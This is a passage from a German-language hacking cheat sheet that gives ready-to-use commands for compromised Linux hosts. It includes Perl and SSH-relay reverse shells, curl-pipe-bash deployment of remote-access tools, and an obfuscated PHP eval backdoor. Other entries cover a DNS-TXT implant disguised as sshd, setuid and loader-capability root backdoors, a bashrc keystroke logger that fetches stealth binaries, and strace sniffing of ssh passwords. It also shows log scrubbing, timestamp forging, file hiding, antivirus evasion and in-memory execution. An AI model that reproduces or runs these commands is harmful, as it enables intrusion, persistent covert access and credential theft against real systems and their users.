ssh-keygen -q -t rsa -N "" -f .r  # New key creates a new remote.moe-address
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r
# Note down the 'remote.moe' address which will look something like
# uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

# Second Terminal - start listening for the reverse shell
nc -vnlp 8080

Auf dem Zielsystem (Alternative; benötigt ssh, bash und mkfifo):```sh
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p  2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)

<a id="reverse-shell-perl"></a>
**5.i.j. Reverse-Shell mit Perl**```sh
# method 1
perl -e 'use Socket;$i="3.13.3.7";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# method 2
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"3.13.3.7:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

<a id="reverse-shell-upgrade"></a>
<a id="reverse-shell-pty"></a>
**5.ii.a. Upgrade einer Reverse-Shell zu einer PTY-Shell**

Alle oben genannten Reverse-Shells sind eingeschränkt. Zum Beispiel funktionieren *sudo bash* oder *top* nicht. Damit diese funktionieren, müssen wir die Shell zu einer echten PTY-Shell upgraden:```sh
# Using script
exec script -qc /bin/bash /dev/null  # Linux
exec script -q /dev/null /bin/bash   # BSD

<a id="reverse-shell-interactive"></a>
**5.ii.b. Eine Reverse Shell zu einer vollständig interaktiven Shell upgraden**

...und wenn wir auch Ctrl-C usw. verwenden möchten, dann müssen wir den ganzen Weg gehen und die Reverse Shell zu einer echten, vollständig farbenfrohen interaktiven Shell upgraden:```sh
# On the target host spawn a PTY using any of the above examples:
python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

### Schnellinstallation```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. Hintertüren

Siehe [Reverse Shell / Dumb Shell](#reverse-shell) für einfache Einzeiler-Reverse-Shells.

<a id="gsnc"></a>
**6.i. Reverse Shell mit gs-netcat**

Meistens verwenden wir das automatisierte Bereitstellungsskript von gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

oder stellen Sie gsocket bereit, indem Sie Ihren eigenen Deployment-Server ausführen:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

Oder der langweilige Weg:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

So funktioniert es:
- Der SSHD-Hostschlüssel ist nur ein gewöhnlicher ed25519-Schlüssel.
- Jeder ed25519-Schlüssel kann verwendet werden, um einen Benutzer zu authentifizieren.
- SSHD prüft `~/.ssh/authorized_keys` (aber dieser Trick wurde überstrapaziert).
- Konfiguriere SSHD stattdessen so, dass es zusätzlich `/etc/ssh/sshd_host_ed25519_key.pub` für Login-Authentifizierungsschlüssel prüft.
- SSHD prüft nun `~/.ssh/authorized_keys` _und_ `/etc/ssh/ssh_host_ed25519_key.pub` auf gültige Login-Schlüssel.
- Verwende den geheimen Schlüssel `/etc/ssh/sshd_host_ed25519_key`, um dich am Ziel anzumelden.

<a id="backdoor-network"></a>
**6.vi. Fernzugriff auf ein gesamtes Netzwerk**

Installiere [gs-netcat](https://github.com/hackerschoice/gsocket). Es erstellt einen SOCKS-Exit-Knoten im privaten LAN des Hosts, der über das Global Socket Relay Network erreichbar ist, ohne dass du deinen eigenen Relay-Server betreiben musst (z. B. um direkt von deiner Workstation aus auf das entfernte private LAN zuzugreifen):```sh
gs-netcat -l -S       # compromised Host

Lies [Verwende ein beliebiges Tool über Socks-Proxy](#scan-proxy).

Andere Methoden:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - unser eigener Artikel
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - von segfault.net zu jedem (internen) Netzwerk.

<a id="php-backdoor"></a>
**6.v. Kleinste PHP-Backdoor**

Füge diese Zeile am Anfang einer beliebigen PHP-Datei hinzu:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Teste die Backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Löse mit einem dieser Werte die Ausführung eines Befehls oder PHP-Codes aus:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

Das Implant fragt die Payload per DNS-TXT-Anfrage von der Domain `b00m.team-teso.net` ab. Bei Auslösung erstellt es `/tmp/.b00m` und benachrichtigt THC (über einen app.interactsh.com-Callback). *Bitte* verwenden Sie Ihre eigene Domain und erstellen Sie auch Ihre eigene Payload. Beispiel:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

oder ändere den Demo-Payload für einen ausgefeilten Payload:
- Startet einen Hintergrund-Daemon, der stündlich auf Befehlsausführung prüft.
- Benötigt nur bash, dig und base64.
- Tarnt sich als `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- Das Beispiel verwendet erneut `b00m2.team-teso.net` und erstellt stündlich /tmp/.b00m.

Schneide & füge Folgendes in die Shell des Zielsystems ein, um das Einzeiler-Implantat zu generieren:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...in PERL:
---
Dasselbe, aber nur perl + bash erforderlich (nicht dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

Erstelle deinen Payload (`egg.py` wird auf dem Zielsystem ausgeführt):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. Lokale Root-Backdoor**

#### 1. Backdooring des dynamischen Loaders mit setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. Der gute alte b00m shell```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. Selbstextrahierendes Implantat**

Erstellen Sie ein selbstextrahierendes Shell-Skript mit [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (siehe Quellcode für Beispiele).

Einfaches Beispiel:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. Benenne `egg.sh` in `update-for-fools.txt` um und lade es als Blob in [Signals](https://www.signal.org/) GitHub-Repository hoch.

3. Führe niemanden hinters Licht, um Signal mit diesem Befehl zu aktualisieren ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

oder```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

Geschwindigkeitscheck des Systems```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Finde alle beschreibbaren Verzeichnisse:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- Verwenden Sie [PassDetective](https://github.com/aydinnyunus/PassDetective), um Passwörter in ~/.*history zu finden
- Verwenden Sie [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption), um Chrome-Passwörter aus dem laufenden Prozess zu extrahieren & zu entschlüsseln (nur Windows)
- Extrahieren Sie Passwörter aus Browsern mit [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Mit `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. Shell-Hacks
<a id="shred"></a>
**8.i. Shred & eine Datei löschen**```sh
shred -z foobar.txt

Hinweis: Oder legen Sie Ihre Dateien im Verzeichnis */dev/shm* ab, sodass keine Daten auf die Festplatte geschrieben werden. Die Daten werden beim Neustart gelöscht.

Hinweis: Oder löschen Sie die Datei und füllen Sie dann die gesamte Festplatte mit /dev/urandom und führen Sie dann rm -rf auf die Dump-Datei aus.

<a id="restore-timestamp"></a>
**8.ii. Stellen Sie das Datum einer Datei wieder her**

Angenommen, Sie haben */etc/passwd* geändert, aber das Dateidatum zeigt nun an, dass */etc/passwd* geändert wurde. Verwenden Sie *touch*, um das Dateidatum auf das Datum einer anderen Datei zu setzen (in diesem Beispiel */etc/shadow*).```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Dies entfernt jede Zeile, die die IP `1.2.3.4` enthält, aus der Logdatei:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. Verstecke Dateien vor diesem Benutzer ohne Root-Rechte**

Unser bevorzugtes Arbeitsverzeichnis ist */dev/shm/*. Dieser Ort ist flüchtiger Speicher und geht beim Neustart verloren. Keine Logs == Kein Verbrechen.

Permanente Dateien verstecken:

Methode 1:```sh
alias ls='ls -I system-dev'

Methode 3:
Unix erlaubt Dateinamen mit fast jedem ASCII-Zeichen außer 0x00. Versuchen Sie Tabulator (*\t*). Es kommt vor, dass die meisten Admins nicht wissen, wie man mit cd in ein solches Verzeichnis wechselt.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. Benutzer ohne sudo/su wechseln**

Benötigt für das Aufnehmen von Screenshots von X11-Sitzungen (z. B. `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` oder `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Bereinigen Sie den [UPX-Header](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) und den zweiten ELF-Header, um den Anti-Virus zu täuschen:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Stelle sicher, dass die Binärdatei nicht entpackt werden kann:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

Die kürzestmögliche Variante ist (Beispiel):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

Die Backdoor kann auch per SSH direkt in den Speicher des entfernten Systems geleitet und ausgeführt werden:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. Krypto
<a id="gen-password"></a>
**9.i. Schnelles Zufallspasswort generieren**

Gut für schnelle Passwörter ohne menschliches Element.```sh
openssl rand -base64 24

oder machen Sie es alphanumerisch```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

Mount:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. Linux transportierbare verschlüsselte Dateisysteme - EncFS**

Erstellen Sie ```.sec``` und speichern Sie die verschlüsselten Daten in ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii Verschlüsseln einer Datei**

Verschlüsseln Sie Ihre 0-Days und Logdateien, bevor Sie sie übertragen - bitte. (und wählen Sie Ihr eigenes Passwort):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. Session-Sniffing und Hijacking
<a id="session-sniffing"></a>
**10.i Sniffen der SHELL-Sitzung eines Benutzers**

Ein Einzeiler für `~/.bashrc`, um die Tastatureingaben des Benutzers zu sniffen und unter `~/.config/.pty/.@*` zu speichern. Nützlich, wenn man kein Root ist und die sudo/ssh/git-Anmeldedaten des Benutzers erfassen muss.

Einsatz: Kopieren Sie Folgendes auf das Zielsystem und befolgen Sie die Anweisungen:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Starte ein dtrace und protokolliere in /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

Schaut euch unsere eigenen [eBPF-Tools zum Abfangen von sudo/su/ssh-Passwörtern](https://github.com/hackerschoice/bpfhacks) an.

<a id="ssh-sniffing-strace"></a>
**10.iv Eine SSH-, Bash- oder SSHD-Sitzung eines Benutzers mit strace mitschneiden**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (Beispiel):```shell
tit write 7770